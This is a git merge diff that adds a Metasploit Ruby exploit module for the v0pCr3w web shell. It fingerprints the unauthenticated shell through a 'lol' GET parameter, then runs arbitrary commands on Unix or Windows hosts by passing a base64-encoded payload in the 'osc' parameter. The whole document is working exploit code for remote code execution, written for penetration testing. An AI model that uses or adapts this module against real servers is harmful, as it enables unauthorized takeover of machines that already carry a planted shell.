Merge branch 'v0pCr3w' of https://github.com/bwall/metasploit-framework into bwall-v0pCr3w

Author: jvazquez-r7

modules/exploits/multi/http/v0pcr3w_exec.rb

@@ -0,0 +1,91 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GreatRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => 'v0pCr3w Web Shell Remote Code Execution',
+			'Description'    => %q{
+					This module exploits a lack of authentication in the shell developed by v0pCr3w
+				and is widely reused in automated RFI payloads. This module takes advantage of the
+				shell's various methods to execute commands.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'bwall <bwall[at]openbwall.com>',  # vuln discovery & msf module
+				],
+			'References'     =>
+				[
+					['URL', 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell'],
+					['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0']
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Space'    => 2000,
+					'BadChars' => '',
+					'DisableNops' => true,
+					'Compat'      =>
+						{
+							'PayloadType' => 'cmd',
+						}
+				},
+			'Platform'       => ['unix', 'win'],
+			'Arch'           => ARCH_CMD,
+			'Targets'        =>
+				[
+					['v0pCr3w / Unix', { 'Platform' => 'unix' } ],
+					['v0pCr3w / Windows', { 'Platform' => 'win' } ]
+				],
+			'DisclosureDate' => 'Mar 23 2013',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]),
+			],self.class)
+	end
+
+	def check
+		shell = send_request_cgi({
+			'method'   => 'GET',
+			'uri'      => normalize_uri(target_uri.path.to_s),
+			'vars_get' => {
+				'lol' => '1'
+			}
+		})
+		if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
+			return Exploit::CheckCode::Vulnerable
+		end
+		return Exploit::CheckCode::Safe
+	end
+
+	def http_send_command(cmd)
+		p = Rex::Text.encode_base64(cmd)
+		res = send_request_cgi({
+			'method'   => 'GET',
+			'uri'      => normalize_uri(target_uri.path.to_s),
+			'vars_get' => {
+				'osc' => p
+			}
+		})
+		if not (res and res.code == 200)
+			fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
+		end
+	end
+
+	def exploit
+		http_send_command(payload.encoded)
+	end
+end